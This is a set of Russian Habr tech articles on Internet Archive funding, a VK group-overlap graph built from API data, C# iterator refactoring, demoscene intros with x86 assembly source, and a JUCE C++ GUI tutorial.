Прокладка новых кабелей по Сан-Франциско — весьма хлопотное и дорогое дело. Приходится перекладывать асфальт на автомобильных дорогах и тротуарах. К счастью, Internet Archive удалось получить официальный статус *библиотеки*, что даёт доступ к государственным субсидиям, в том числе к бюджету Федеральной комиссии по связи США (FCC) на подключение всех библиотек к интернету. Таким образом, львиную долю расходов на прокладку, обслуживание оптоволокна и трафик оплачивает FCC по программе [E-Rate Universal Service Program](https://www.fcc.gov/consumers/guides/universal-service-program-schools-and-libraries-e-rate).
С 2005 года Internet Archive начал проект [Open Library](https://openlibrary.org/) по сканированию книг. С одной стороны, это действительно важный общественный проект. С другой стороны, он позволил получить государственные льготы и финансирование в качестве публичной библиотеки.
Кроме государственных грантов и пожертвований, организация оказывает [платные услуги по сканированию книг](https://archive.org/scanning), в основном, для других библиотек и университетов. Это ещё один источник финансирования.
Планы на будущее
================
Инженеры Internet Archive сейчас обдумывают варианты использования SSD и GPU в основных серверах, чтобы увеличить их производительность. Главная проблема здесь в том, что все дата-центры находятся в стеснённых городских условиях Сан-Франциско и пригородов с очень ограниченными возможностями охлаждения (см. фото 1). Так что каждый апгрейд требуется хорошо обдумать: не приведёт ли он к повышению температуры.
Интересно наблюдать за ростом инфраструктуры Internet Archive с увеличением количества серверных стоек. Есть подозрение, что рано или поздно наступит момент, когда сложность поддержания своей инфраструктуры превысит некий порог — и библиотека откажется от собственных дата-центров. Но пока что инженеры Core Infrastructure Team успешно справляются с работой.
В зависимости от методологии расчёта, хранение данных в собственных дата-центрах Internet Archive обходятся в 2−5 раз дешевле, чем в облаке. И это только хранение. Сложно даже посчитать, сколько будет стоить круглосуточный исходящий трафик 60 Гбит/с на AWS. Вероятно, он обойдётся даже дороже, чем хранение 200 петабайт.
Похоже, что некоторые сервисы просто «слишком велики» для облака. Компаниям приходится поднимать собственные дата-центры, потому что у них нет выхода. Другой вопрос: должна ли библиотека заниматься этим самостоятельно? Получается, что современная цифровая библиотека — это по сути хостинг-провайдер и дата-центр?
---
#### На правах рекламы
**Эпичные серверы** — это [надёжные VDS](https://vdsina.ru/cloud-servers?partner=habr302) на Linux или Windows с мощными процессорами семейства AMD EPYC и очень быстрой файловой системой, используем исключительно NVMe диски от Intel. Попробуйте как можно быстрее!
[](https://vdsina.ru/cloud-servers?partner=habr302) | https://habr.com/ru/post/549520/ | null | ru | null |
# Поиск похожих групп и пабликов Вконтакте
На днях удалось провернуть интересную штуку. Для всех групп Вконтакте с числом подписчиков от 5000 до 10 000 (~100 000 групп) был построен полный граф, в котором веса рёбер равнялись пересечению аудиторий групп.
Во-первых, такой граф красиво выглядит:
Во-вторых, с его помощью можно быстро подбирать группы заданой тематики. Например, нужно найти группы про вязание. По ключевому слову «вязание» находим, одну подходящую группу, [Knitting -Вязание online-](https://vk.com/club71197950), например. Выводим группы, с которыми она связана:
Knitting -Вязание online-:
6.04% [Корпорация «ПРЯЖА»](https://vk.com/club75577569)
5.90% [Мамочкин канал — для творческих мам (КРЮЧКОМ!)](https://vk.com/club65805953)
3.40% [Вязание. В этом мире всё связано...))](https://vk.com/club87484544)
3.01% [ПРЯЖА ДЁШЕВО.ФЛИС.РЕЗИНКИ ДЛЯ ПЛЕТЕНИЯ БРАСЛЕТОВ](https://vk.com/club53371463)
2.35% [Пряжа Spagetti Спагетти](https://vk.com/club59200218)
1.87% [Магазинчик пряжи Eesti lõng (Kauni, Кауни)](https://vk.com/club58678379)
1.73% [\*Искусство вязания крючком\*](https://vk.com/club44159519)
1.70% [Пряжа Кауни (Kauni) — легенда Эстонии. Вязание.](https://vk.com/club57231027)
1.66% [«Кружевные мотивы» — вязание и рукоделие](https://vk.com/club7663754)
1.54% [Пряжа турецкая в наличии и на заказ(Украина)](https://vk.com/club33108116)
И повторяем пока не надоест или пока не перестанут появляться новые названия.
Вязание. В этом мире всё связано...:
8.88% [Корпорация «ПРЯЖА»](https://vk.com/club75577569)
3.06% [Мамочкин канал — для творческих мам (КРЮЧКОМ!)](https://vk.com/club65805953)
2.58% [ПРЯЖА ДЁШЕВО.ФЛИС.РЕЗИНКИ ДЛЯ ПЛЕТЕНИЯ БРАСЛЕТОВ](https://vk.com/club53371463)
2.30% [Knitting -Вязание online-](https://vk.com/club71197950)
2.14% [Интернет-Магазин Пряжи «АЖУР»](https://vk.com/club40561560)
1.94% [Пряжа Кауни (Kauni) — легенда Эстонии. Вязание.](https://vk.com/club57231027)
1.85% [Магазин пряжи — ღ ВАША ПРЯЖА ღ](https://vk.com/club86306132)
1.76% [Пряжа](https://vk.com/club5084903)
1.72% [Ажурный мир: связано с любовью!](https://vk.com/club73587182)
1.55% [Магазинчик пряжи Eesti lõng (Kauni, Кауни)](https://vk.com/club58678379)
Корпорация «ПРЯЖА»:
7.54% [Вязание. В этом мире всё связано...))](https://vk.com/club87484544)
4.01% [Мамочкин канал — для творческих мам (КРЮЧКОМ!)](https://vk.com/club65805953)
3.47% [Knitting -Вязание online-](https://vk.com/club71197950)
3.20% [ПРЯЖА ДЁШЕВО.ФЛИС.РЕЗИНКИ ДЛЯ ПЛЕТЕНИЯ БРАСЛЕТОВ](https://vk.com/club53371463)
2.72% [Интернет-Магазин Пряжи «АЖУР»](https://vk.com/club40561560)
2.67% [Пряжа](https://vk.com/club5084903)
2.11% [«Мадам Вязалкина» Пряжа (товары для рукоделия)](https://vk.com/club37664558)
2.00% [Пряжа Кауни (Kauni) — легенда Эстонии. Вязание.](https://vk.com/club57231027)
1.85% [Магазинчик пряжи Eesti lõng (Kauni, Кауни)](https://vk.com/club58678379)
1.82% [Пряжа Spagetti Спагетти](https://vk.com/club59200218)
«Мадам Вязалкина» Пряжа (товары для рукоделия):
2.49% [Пряжа](https://vk.com/club5084903)
2.37% [Корпорация «ПРЯЖА»](https://vk.com/club75577569)
1.42% [Магазинчик пряжи Eesti lõng (Kauni, Кауни)](https://vk.com/club58678379)
1.39% [Пряжа Кауни (Kauni) — легенда Эстонии. Вязание.](https://vk.com/club57231027)
1.32% [ПРЯЖА ДЁШЕВО.ФЛИС.РЕЗИНКИ ДЛЯ ПЛЕТЕНИЯ БРАСЛЕТОВ](https://vk.com/club53371463)
1.26% [Магазин пряжи и товаров для рукоделия КУДЕЛЬ](https://vk.com/club38116251)
1.24% [Вязаные головные уборы и не только.](https://vk.com/club12443394)
1.21% [HOBBY & HOME | РУКОДЕЛИЕ](https://vk.com/club60959851)
1.18% [Интернет-Магазин Пряжи «АЖУР»](https://vk.com/club40561560)
1.15% [Пряжа Spagetti Спагетти](https://vk.com/club59200218)
Аналогичного результата можно добиться грамотно подобрав ключевые слова для поиска: «вязание», «пряжа», «рукоделие», «крючком». Но их не всегда просто придумать.
Чтобы построить такой граф было использовано несколько неочевидных технических решений, о которых я хотел бы рассказать.
Чтобы получить полный список групп заданного размера, был прокачан прекрасный сайт [allsocial.ru](http://allsocial.ru/). Интересно как они собирают эти данные? Просто идут по всем индексам: [vk.com/club1](https://vk.com/club1), [vk.com/club2](https://vk.com/club2), ...? Брались только средние группы с числом подписчиков от 5000 до 10 000 человек по двум причинам: огромные паблики типа МДК чёкнешься прокачивать, но, что важнее, членство в них не несёт особенного сигнала, такие группы связаны со всем на свете.
Чтобы получить список подписчиков групп в АПИ Вконтакта, есть специальный метод. Но он позволяет получать по 1000 пользователей за раз и только 3 раза за секунду. А прокачать надо было порядка 1 000 000 000 пользователей, что дофига. Получается, что надо будет ждать 3-4 суток, если ВК будет отвечать на каждый запрос мгновенно. Это, в целом, терпимо, но смущало следующее замечание в документации:
> Помимо ограничений на частоту обращений, существуют и количественные ограничения на вызов однотипных методов. По понятным причинам, мы не предоставляем информацию о точных лимитах.
В нашем случае, это замечание напрягает, потому что нужно будет сделать 1 000 000 запросов. На помощь здесь приходит крутейший метод [execute](https://vk.com/dev/execute). Большой респект за него ребятам из ВК. Интересно у кого-нибудь ещё есть такая штука? Суть в том, что через execute можно посылать в Контакт программы на специальном языке VKScript, запихивать туда несколько запросов к АПИ и, возможно, какую-то логику. В моём случае программа выглядела примерно так:
```
return [
API.groups.getMembers(id=1, offset=0, count=1000),
API.groups.getMembers(id=1, offset=1000, count=1000),
API.groups.getMembers(id=1, offset=2000, count=1000),
API.groups.getMembers(id=1, offset=3000, count=1000),
API.groups.getMembers(id=1, offset=4000, count=1000),
API.groups.getMembers(id=1, offset=5000, count=1000),
...
];
```
Внутри программы может быть не больше 25 обращений к АПИ. То есть число запросов сокращается до 40 000, теоретически бан может миновать. Каждый такой запрос выполнялся уже совсем не мгновенно, а примерно 5-6 секунд, поэтому подождать всё равно пришлось. Да, можно было бы запустить скачивание в несколько потоков, но чёт было стрёмно. Через два с половиной дня всё докачалось и заняло примерно 10Гб у меня на диске.
Теперь встаёт вопрос как запихнуть эти 10Гб в оперативную память и как посчитать попарное пересечение аудиторий для 100 000 групп. Спасает тот факт, что каждый пользователь состоит обычно в небольшом количестве групп (99% пользователей состоят менее чем в 15 группах). Можно выписать какие вклады вносит в пересечения каждый пользователь и потом эти вклады сложить. Пускай, например, есть два пользователя: А и Б, и три группы 1, 2 и 3. А состоит во всех трёх, Б — только в 1 и 3. А вносит вклады в три пересечения: (1, 2), (1, 3) и (2, 3), Б — в одно: (1, 3). Складываем, получаем, что 1 и 3 пересекаются по двум пользователя, остальные группы по одному. Если технично проигнорировать пользователей, которые состоят в 15 группах и больше, то придётся выписать примерно 500 000 000 пересечений, что гораздо лучше, чем при решении в лоб, где нужно будет посчитать 100 000 \* 100 000 пересений.
Прекрасно, осталась только проблема с оперативной памятью. К счастью, описанный алгоритм хорошо ложится на парадигму мап-редьюс, поэтому был запилен [нано-хадуп на 50 строчек](https://github.com/alexanderkuk/analyze-vk-groups/blob/master/main.py#L294-L350) и расчёт выглядел так: выписываем группы и пользователей, которые в них состоят в две колонки:
```
group user
3953835 10
2065169 100001643
2112714 100001643
...
```
Получается файл на ~9Гб, сортируем его юниксовым сортом по второй колонке, смотрим, где состоит Павел Дуров:
```
group user
2226515 1
37110020 1
38354466 1
43453499 1
60140141 1
60615047 1
64980878 1
1019652 10
...
```
Читаем файл, группируем поток по второй колонке, в памяти держим только список групп пользователя, если групп меньше 15, выписываем все паросочетания в ещё один файл:
```
source target
10000 10027193
9980615 9997141
9974 9976553
...
```
Так как порог подобран грамотно, файл получается не слишком большой — ~9Гб. Сортируем его по двум колонкам:
```
source target
10000 100000
10000 100000
10000 10009982
10000 100100
10000 100100
10000 10019194
10000 10019194
10000 1002
10000 1002
10000 1002
...
```
Дальше файл читается, группируется по двум колонкам и сразу считается пересечение. Для групп 10000 и 100000, например, перечение 2 пользователя. Это можно сказать сразу, ничего хранить в памяти не надо.
Дальше рёбра фильтруются по какому-нибудь разумному порогу, чтобы их осталось не очень много. Результат можно посмотреть в Гефи. Есть два секрета: чтобы все работало не мучительно долго нужно отключить рисование рёбер, для укладки нужно скачать OpenOrd, он уложил мой граф на ~100 000 вершин за ~5 минут.
Подобный подход теоретически можно использовать в любой задаче, где есть две связанные сущности: сайты и пользователи, запрос и результаты выдачи, например. | https://habr.com/ru/post/263753/ | null | ru | null |
# Реализация итераторов в C# (часть 2)
[Реализация итераторов в C# (часть 1)](http://habrahabr.ru/blogs/net/136828/).
Теперь, когда вы имеете в своём багаже общее представление о том, что стоит за итераторами, вы уже можете ответить на некоторые вопросы их использования. Вот сценарий, основанный на реальных событиях:
*У меня есть большой и сложный итератор, и я хочу отрефакторить его. Для большей наглядности условимся, что перечислитель считает от 1 до 100 дважды. (Разумеется, в реальной жизни итератор не будет столь простым.)
```
IEnumerable CountTo100Twice()
{
int i;
for (i = 1; i <= 100; i++) {
yield return i;
}
for (i = 1; i <= 100; i++) {
yield return i;
}
}
```
Как мы знаем из Pragramming 101, мы можем вынести общий код в подпрограмму и вызвать её. Но когда я так делаю, я получаю ошибку компилятора:
```
IEnumerable CountTo100Twice()
{
CountTo100();
CountTo100();
}
void CountTo100()
{
int i;
for (i = 1; i <= 100; i++) {
yield return i;
}
}
```
Что я делаю не так? Как мне перенести “подсчёт до 100” в подпрограмму и дважды вызвать её из функции CountTo100Twice?*
Как мы только что увидели, итераторы это вовсе не подпрограммы. Представленная выше техника прекрасно работала бы, если бы мы строили итераторы из, скажем, волокон вместо конечных автоматов. Но раз уж используются автоматы, yield return выражения должны располагаться на “верхнем уровне”. Так как вы будете итерировать с помощью подпрограмм?
Вы делаете саму подпрограмму итератором, а затем “вытягиваете” результаты из главной функции:
```
IEnumerable CountTo100Twice()
{
foreach (int i in CountTo100()) yield return i;
foreach (int i in CountTo100()) yield return i;
}
IEnumerable CountTo100()
{
for (i = 1; i <= 100; i++) {
yield return i;
}
}
```
Упражнение: Рассмотрим следующий фрагмент:
```
foreach (int i in CountTo100Twice()) {
// ...
}
```
Объясните, что произойдёт на 150-ом (стопятидесятом) вызове MoveNext() в цикле выше. Обдумайте последствие этого для рекурсивных алгоритмов (таких как обход деревьев). | https://habr.com/ru/post/136864/ | null | ru | null |
# #00 — И целого байта мало… | Приглашение на Revision Online 2020
Дамы, господа, как бодрость духа?
От лица [**=RMDA**=](https://rmda.su/) приглашаю вас на [**Revision Online 2020**](https://2020.revision-party.net). Как вы отлично знаете, коронавирус лютует, отменены не только крупные мировые конференции, но даже крошечные мероприятия вокруг демосцены по всей Европе (Forever, Speccy.pl и многие другие). Ребята из команды **Revision** две недели боролись с муниципалитетом микроскопического городка в Германии, но не смогли отстоять право на проведение демопати. Они решили сделать мероприятие онлайн.
С 10 по 14 апреля, 72 часа непрерывного онлайн-потока по всем платформам и аспектам демосцены ждут вас! Все тут: **[[**2020.revision-party.net**](https://2020.revision-party.net)
Мы активно участвуем в организации **Revision Online 2020** и уже выпустили первую работу по теме: [**Revitro**](https://www.pouet.net/prod.php?which=85037), 256 bytes intro, PC, x86
Это интро на 256 байт для PC которое использует для вывода звука как спикер, так и midi-интерфейс. Посмотрите сами:
Вот исходный код:
```
TEXT_WIDTH = 15
TEXT_LINES = 6
FAST_APPEAR = 0 ; for debug
org 100h
; ax = 0, bx = 0, cx = 0FFh, si = 100h, bp = 9??h, di = sp, word [sp] = 0
db 4,5,2,9,0E4h,5,2,0,4,5,2,9,4,0C5h,2,7 ; notes: A A# G d A+g A# G ~ A A# G d A A#+f G c
; al = undefined, other are unchanged
; Video mode, font, text, palette
mov al,13h
int 10h ; 320x200, 256 color
mov ax,1122h
int 10h ; set font size 8x14
xchg ax,bp
mov dx,text
int 21h ; output text on top left line
push 0A000h
pop ds
mov dx,3C9h
xor al,al
@@: out dx,al ; red = gradient
out dx,al ; green = gradient
outsb ; blue = 0
cmp cl,0C1h
sbb al,0 ; black for first 64 colors, gradient for next 192 colors
loop @B
; Scale text
next:
salc
mov di,bx
shr di,1
jc @F
mov al,[di - (((7-TEXT_LINES)*7+1)*320 + (20-TEXT_WIDTH)*4)]
@@: mov [bx],al
dec bx
jnz next
; Text appearance
appear:
shl byte [bx],4
; in al,60h
; dec ax
; jz exit
if ~ defined FAST_APPEAR | ~ FAST_APPEAR
test bl,dh
jnz @F
mov ah,86h
int 15h
end if
;@@: mov al,bh
; out 61h,al ; more lite sounds of horror :)
@@: imul bx,-103 ; interesting sounds on: 125;113;73;53;25;-27;-39;-55;-75;-103;-107;-123
inc bx
mov al,bh
out 61h,al ; sounds of horror (use this block or above)
jnz appear
; Flashlight
flashlight:
pixel:
mov ax,0CCCDh
mul di ; dl = X (0..255), dh = Y
xchg ax,dx
sub al,ch
@@: neg al
jl @B ; dl = abs(dl)
cmp al,48
jbe @F
mov al,48
@@: and byte [di],0C0h
or [di],al
inc di
jnz pixel
; Music
mov dx,330h
add ch,dh
test cl,dh
jnz skip
and si,10Fh
mov bl,[es:si]
inc si
@@: test bl,bl
jz skip
mov ax,3F90h ; note on command (90h to 330h) and enter UART mode (3Fh to 331h)
out dx,ax
mov al,bl
and al,0Fh
add al,65 ; note
out dx,al
mov al,7Fh ; volume (max)
out dx,al
shr bl,4 ; high nibble
jmp @B
skip:
inc cx
hlt ; delay
; Check Esc key
in al,60h
dec al
jnz flashlight
exit:
ret
text db 'Revision Online',13,10
db ' ',196,205,196,13,10
db ' HEAR & OBEY',13,10
db 'HTTPS://RMDA.SU',13,10
db 'come, taste the',13,10
db 'REAL demoscene!'
db '$'
```
Если вы понимаете этот культурный код, если вам не требуется перевода на русский язык термина **demoscene** — мы ждем вас!
Вы знаете как с нами связаться!
[](https://rmda.su)
**RMDA 2020**
*русские идут...*
**UPD:** Наша новая работа. Она пока не зарелижена честь по чести, мы ждем видео. Публикуем сам исходник, если захотите = сможете сами ее собрать и посмотреть. Это PC 128 bytes intro, приглашение на Chaos Constructions 2020 в Питере (август):
```
; CC2k2o (c) IlII / RMDA / 2020
; FASM, recommended to run via DOSBox
WIDTH = 21
HEIGHT = 21
BLOCK = 6
org 100h
; ax=bx=0, cx=0FFh, si=100h, df=0
; Init
mov dx,3C9h ; this opcode will be also palette :)
mov al,13h
int 10h ; 320x200, 256 colors
rep outsb ; r,g,b = 58,9,3 for color #0
les bp,[bx] ; es = 9FFFh (DOSBox; different systems may contain 0A000h, 9F80h and other)
; Draw QR code
drawqr:
mov si,qr
mov di,(200-HEIGHT*BLOCK)/2*320 + (320-WIDTH*BLOCK)/2 + 10h ; top left corver address (10h is compensation of inaccurate video segment value)
mov dl,1
mov cl,HEIGHT
continue:
mov ch,WIDTH
next:
out 61h,al ; sound of crackle
ror dl,1 ; set carry flag 1 time in 8 rotations
jnc pixel
lodsb
xchg bp,ax
pixel:
shr bp,1 ; extract next bit
sbb ax,ax ; ax = 0 or 0FFFFh
cmp ch,dh
jne @F
mov al,0D0h ; noise effect color
@@:
mov bl,BLOCK
@@:
repeat BLOCK / 2
stosw
end repeat
repeat BLOCK mod 2
stosb
end repeat
add di,320-BLOCK ; first move vertically
dec bx
jnz @B
dec ch
jnz next
sub di,(320*HEIGHT-1)*BLOCK ; then move horizontally
loop continue
; Final
imul dx,77 ; random number generator
; shr dh,1 ; more often noise
hlt ; delay
in al,60h
dec ax
jnz drawqr ; loop if no Esc key is pressed
ret
; Data
qr db 127,195,63,232,9,118,109,221,174,171,219,165,116,131,172,224
db 95,245,7,96,0,93,45,222,67,109,177,101,116,156,175,143
db 29,227,1,90,237,31,4,15,114,40,93,243,169,235,19,119
db 13,214,32,71,240,119,145;,0
```
[**cc2020inv**](https://www.pouet.net/prod.php?which=85042), 128 bytes intro, PC, x86
И в качестве небольшого бонуса, наша работа для Apple ii
[**dae353b**](https://www.pouet.net/prod.php?which=85046)
---EOF---
[#FF — И целого байта мало… | Пилот)](https://habr.com/ru/post/68984/)
[#00 — ИЦБМ… | Приглашение на Revision Online 2020](https://habr.com/ru/post/492984/)
[#01 — ИЦБМ… | Какими бывают intro?](https://habr.com/ru/post/495042/)
[#02 — ИЦБМ… | The Cross of Changes](https://habr.com/ru/post/495408/)
[#03 — ИЦБМ… | 2B or not 2B](https://habr.com/ru/post/495732/)
[#04 — ИЦБМ… | Берем БК за рога](https://habr.com/ru/post/496212/)
[#05 — ИЦБМ… | Анимэ](https://habr.com/ru/post/496512/)
[#06 — ИЦБМ… | Метеоризмы](https://habr.com/ru/post/496692/)
[#07 — ИЦБМ… | Revision Online](https://habr.com/ru/post/496696/)
[#08 — ИЦБМ… | Голосуем на Revision](https://habr.com/ru/post/496902/)
Развлекательный канал деда в Телеграм: [[**teleg.run/bornded**](https://teleg.run/bornded)
Рядом с каналом есть чат. В нем можно попробовать поднять вопросы за демосцену, ассемблер, пиксель-арт, трекерную музыку и другие аспекты процессы. Вам могут ответить либо отправят в другие, более тематические чаты.
**ТАК ПОБЕЖДАЛИ — ТАК ПОБЕДИМ!**](https://teleg.run/bornded)](https://2020.revision-party.net/)** | https://habr.com/ru/post/492984/ | null | ru | null |
# JUCE — Кроссплатформенный C++ фреймворк для разработки приложений с пользовательским интерфейсом
Приветствую хабросообщество!
Наверно каждый кто профессионально разрабатывает ПО или просто увлекается программированием, рано или поздно приходил к необходимости создавать пользовательский интерфейс для своей программы. И если не рассматривать нативные для платформ окружения и языки такие как C# для Windows или Objective-C для Mac OS X которые изначально содержат средства для визуализации интерфейса, то выбор оказывается не очень богатым, особенно если мы не горим желанием платить деньги за средства разработки GUI или желаем добиться кроссплатформенности.
В своем первом посте на Хабре я бы хотел рассказать о таком фреймворке как JUCE. Поиск по Хабру выдал всего 2 статьи где данный фреймворк только упоминается, но ни какой детальной информации не приводится. Думаю что тем кто только начинает осваивать кроссплатформенные GUI приложения на C++ будет интересно узнать об альтернативе таким монстрам как Qt или таким старичкам как GTK+
#### Что такое JUCE
Официальный сайт разработчиков: [juce.com](http://www.juce.com).
> **JUCE (Jules' Utility Class Extensions)** это всеохватывающая библиотека классов С++ для разработки кроссплатформенного программного обеспечения.
>
> Он содержит практически все что вам может понадобиться для создания большинства приложений, особенно хорошо подходит для построения сложных GUI, обработки графики и аудио.
>
>
[Википедия:](http://ru.wikipedia.org/wiki/Juce)
> **Juce** — это открытый кроссплатформенный инструментарий разработки ПО (фреймворк) для языка C++, используемый для разработки GUI приложений и плагинов.
>
>
**JUCE** поддерживает следующие платформы и возможности:
* **Mac OS X** Приложения и [VST](http://ru.wikipedia.org/wiki/Virtual_Studio_Technology)/[AudioUnit](http://ru.wikipedia.org/wiki/Audio_Units)/[RTAS](http://ru.wikipedia.org/wiki/RTAS)/[NPAPI](http://ru.wikipedia.org/wiki/NPAPI) плагины компилируются при помощи Xcode. (на 10.7.5 & Xcode 4.6.3 все работает без проблем)
* **Windows** Приложения и [VST](http://ru.wikipedia.org/wiki/Virtual_Studio_Technology)/[AudioUnit](http://ru.wikipedia.org/wiki/Audio_Units)/[RTAS](http://ru.wikipedia.org/wiki/RTAS)/[NPAPI](http://ru.wikipedia.org/wiki/NPAPI)/[ActiveX](http://ru.wikipedia.org/wiki/ActiveX) плагины собираются при помощи MS Visual Studio. Результаты полностью совместимы с Windows XP, Vista и Win7/8
* **Linux** Приложения и плагины могут быть собраны для любого ядра версии 2.6 и старше.
* **iOS** Нативные iPhone и iPad приложения собираются при помощи Xcode
* **Android** Android приложения собираются при помощи Ant или Eclipse с использованием Android NDK.
**JUCE** разрабатывался силами одного человека и из набора классов для личного использования перерос в полноценный фреймворк.
OpenSource лицензия появилась в 2003 году, а с 2005 фреймворк обзавелся платной ее версией для закрытого ПО.
Большинство модулей фреймворка имеют открытую лицензию [GPLv2, v3](http://ru.wikipedia.org/wiki/GPL) и [AGPLv3](http://ru.wikipedia.org/wiki/AGPL), модуль Core имеет лицензию [ISC](http://ru.wikipedia.org/wiki/Лицензия_ISC)
Если у вас нет желания публиковать исходный код своей программы, то вы можете приобрести коммерческую лицензию по следующим расценкам:
* Лицензия на один продукт — 399 Английских Фунтов
* Лицензия на неограниченное колличество продуктов — 699 Фунтов
* Апгрейд с первой на вторую — 349 Фунтов
* Апгрейд старых версий — до полной 349 Фунтов до лицензии на один продукт 199 Фунтов
#### Состав фреймворка и начало работы
Сам **JUCE** достаточно легковесный, чуть более 28 Мб. Папка docs содержит подробную документацию по установке и подключению фреймворка в различных ОС и средах разработки.
Касательно установки стоит заметить что **JUCE**представляет собой не набор библиотек в привычном смысле или набор исходников из которых вы должны собрать библиотеки для статической или динамической линковки, а набор заголовочных файлов и файлов исходного кода, содержащие все предоставляемые фреймворком классы. Данный подход не только упрощает миграцию с одной платформы на другую, избавляя вас от необходимости включать в состав дистрибутивов библиотеки фреймворка или требовать их наличия на компьютере пользователя, но и решает проблему разрядности библиотек от которых зависит фреймворк. Так как стандартные библиотеки или стандартное окружение современных ОС которое используется в проектах **JUCE** (все они описываются в документации поставляемой в комплекте с фреймворком) как правило собраны с поддержкой как 32 так и 64 bit. Так что вам стоит следить за битность только тех библиотек которые вы дополнительно используете в своем проекте.
Все модули фреймворка находятся в папке modules. Весь исходный код хорошо структурирован и комментирован, так что проблем с пониманием возникнуть не делжно.
В папке extras можно найти примеры использования фреймворка. Среди прочего там же вы найдете две утилиты, которые помогут вам в разработке. Для этих утилит, да и для всех примеров, уже есть готовые проекты для различных платформ и IDE, все что вам остается это открыть проект и скомпилировать пример или утилиту.
Первая утилита это **Introjucer**, достаточно аскетичная программа для автоматической генерации проектов, написана с использованием самого **JUCE** и является ярким примером возможностей фреймворка. В комплекте присутствует мастер по созданию проектов, мастер по созданию шаблонов исходно кода и очень весомое дополнение — визуальный редактор GUI, который просто генерирует на основе ваших манипуляций код на С++ в соответствующий файл исходного кода (который до того был создан при помощи мастера шаблонов), редактор кода, мастер локализации и ряд других достаточно полезных инструментов.
**Немного картинок для наглядности****Конфигурация проекта**
**Редактор кода**
**Редактор GUI**
**Добавление sourcecode файлов**
Приятной изюменкой в **Introjucer** является наличие собственного файла проекта, настроенного под все IDE и платформы которые поддерживаются фреймворком. Для переноса кода от разработчика не потребуется ни чего, кроме наличи на целевой системе утилиты **Introjucer**. Каждый проект сформированный утилитой можно открыть в целевой IDE которую вы используете для своей ОС.
Вторая утилита это **binarybuilder**, которая позволяет вам перенести бинарные файлы непосредственно в код ваших исходных файлов. На пример картинки и логотипы превратятся в набор бинарных данных которые вы можете использовать в своем коде. Эта утилита так же является частью **Introjucer** и используется там в менеджере ресурсов при редактировании GUI. Но может быть собрана как отдельное консольное приложение.
#### Hello World
И куда же без примера кода…
Рассмотрим подробнее пример поставляемый с фреймворком:
**../extras/example projects:**
В проектах **JUCE** все заголовочные файлы в конечном итоге вкладываются в один файл ***"../JuceLibraryCode/JuceHeader.h"***.
Так что разработчику не приходится подключать весь ворох классов из фреймворка вручную в каждом исходном файле.
В рассматриваемом примере присутствует два модуля программы:
* ***Main.cpp*** который отвечает не посредственно за само наше приложение — старт, вывод окна на экран, завершение и т.д.
* ***MainComponent.cpp(.h)*** который отвечает за наполнение нашего окна — кнопки, фон, поля для ввода текста и т.д.
Стоит заметить что в **JUCE** все содержимое GUI является классом, наследуемым от класса **JUCE** ***Component***.
Рассмотрим наш ***MainComponent.h***:
```
#ifndef __JUCE_HEADER_9002020A4DD09B20__
#define __JUCE_HEADER_9002020A4DD09B20__
//Подключаем наш фреймворк
#include "../JuceLibraryCode/JuceHeader.h"
//И описываем наш класс
class MainComponent : public Component, //Наследуем от основного класса фреймворка
public ButtonListener //данный клас отвечает за прослушивание событий кнопок интерфейса
```
Далее требуется описать поведение класса, его конструкторы и деструкторы.
В секции ***public*** находится следующий код:
```
MainComponent ();
~MainComponent();
void paint (Graphics& g); //метод отвечающий за отрисовку в canvas
void resized(); //метод вызываемый при изменении размера
void buttonClicked (Button* buttonThatWasClicked); //метод вызываемый при нажатии на кнопку
```
В секции ***private*** находятся непосредственно наши элементы интерфейса:
```
ScopedPointer helloWorldLabel;
ScopedPointer quitButton;
Path internalPath1;
```
Перейдем непосредственно к логике работы нашего GUI в ***MainComponent.cpp***:
```
//Не забываем подключить заголовочный файл нашего класса
#include "MainComponent.h"
//Добовляем логику для конструктора
MainComponent::MainComponent ()
{
addAndMakeVisible (helloWorldLabel = new Label (String::empty,
"Hello World!")); //Добавляем наш текстовый лэйбл, делаем его видимым и добавляем дополнительные параметры
helloWorldLabel->setFont (Font (40.00f, Font::bold));
helloWorldLabel->setJustificationType (Justification::centred);
helloWorldLabel->setEditable (false, false, false);
helloWorldLabel->setColour (Label::textColourId, Colours::black);
helloWorldLabel->setColour (TextEditor::textColourId, Colours::black);
helloWorldLabel->setColour (TextEditor::backgroundColourId, Colour (0x00000000));
addAndMakeVisible (quitButton = new TextButton (String::empty)); //То же самое делаем с нашей кнопкой
quitButton->setButtonText ("Quit");
quitButton->addListener (this);
setSize (600, 300); //Задаем размер нашего содержимого
}
//Деструктор просто уничтожает содержимое нашего GUI
MainComponent::~MainComponent()
{
helloWorldLabel = nullptr;
quitButton = nullptr;
}
//И описываем все методы нашего класса
void MainComponent::paint (Graphics& g)
{
g.fillAll (Colour (0xffc1d0ff));
g.setColour (Colours::white);
g.fillPath (internalPath1);
g.setColour (Colour (0xff6f6f6f));
g.strokePath (internalPath1, PathStrokeType (5.200f));
}
void MainComponent::resized()
{
helloWorldLabel->setBounds (152, 80, 296, 48);
quitButton->setBounds (getWidth() - 176, getHeight() - 60, 120, 32);
internalPath1.clear();
internalPath1.startNewSubPath (136.0f, 80.0f);
internalPath1.quadraticTo (176.0f, 24.0f, 328.0f, 32.0f);
internalPath1.quadraticTo (472.0f, 40.0f, 472.0f, 104.0f);
internalPath1.quadraticTo (472.0f, 192.0f, 232.0f, 176.0f);
internalPath1.lineTo (184.0f, 216.0f);
internalPath1.lineTo (200.0f, 168.0f);
internalPath1.quadraticTo (96.0f, 136.0f, 136.0f, 80.0f);
internalPath1.closeSubPath();
}
void MainComponent::buttonClicked (Button* buttonThatWasClicked)
{
if (buttonThatWasClicked == quitButton)
{
JUCEApplication::quit();
}
}
```
На этом наш класс готов к тому что бы поселиться в окне приложения. Перейдем к ***Main.cpp*** и посмотрим каким образом инициализируется и запускается наш пример.
```
//Поключаем наш фреймворк и класс контента
#include "../JuceLibraryCode/JuceHeader.h"
#include "MainComponent.h"
//Описываем окно нашего приложения
class HelloWorldWindow : public DocumentWindow
{
public:
HelloWorldWindow(): DocumentWindow ("JUCE Hello World!",
Colours::lightgrey,
DocumentWindow::allButtons,
true)
{
// Заполняем окно нашим содержимым
setContentOwned (new MainComponent(), true);
// Задаем положение по центру
centreWithSize (getWidth(), getHeight());
// И отображаем его
setVisible (true);
}
~HelloWorldWindow()
{
// Описываем деструктор если он нам нужен
}
void closeButtonPressed()
{
// Описываем реакцию на нажатие кнопки закрытия
JUCEApplication::quit();
}
};
```
Окно мы описали, теперь очередь за самим приложением:
```
class JUCEHelloWorldApplication : public JUCEApplication //Наследуем от основного класса приложения JUCE
{
public:
JUCEHelloWorldApplication() {}
void initialise (const String& commandLine)
{
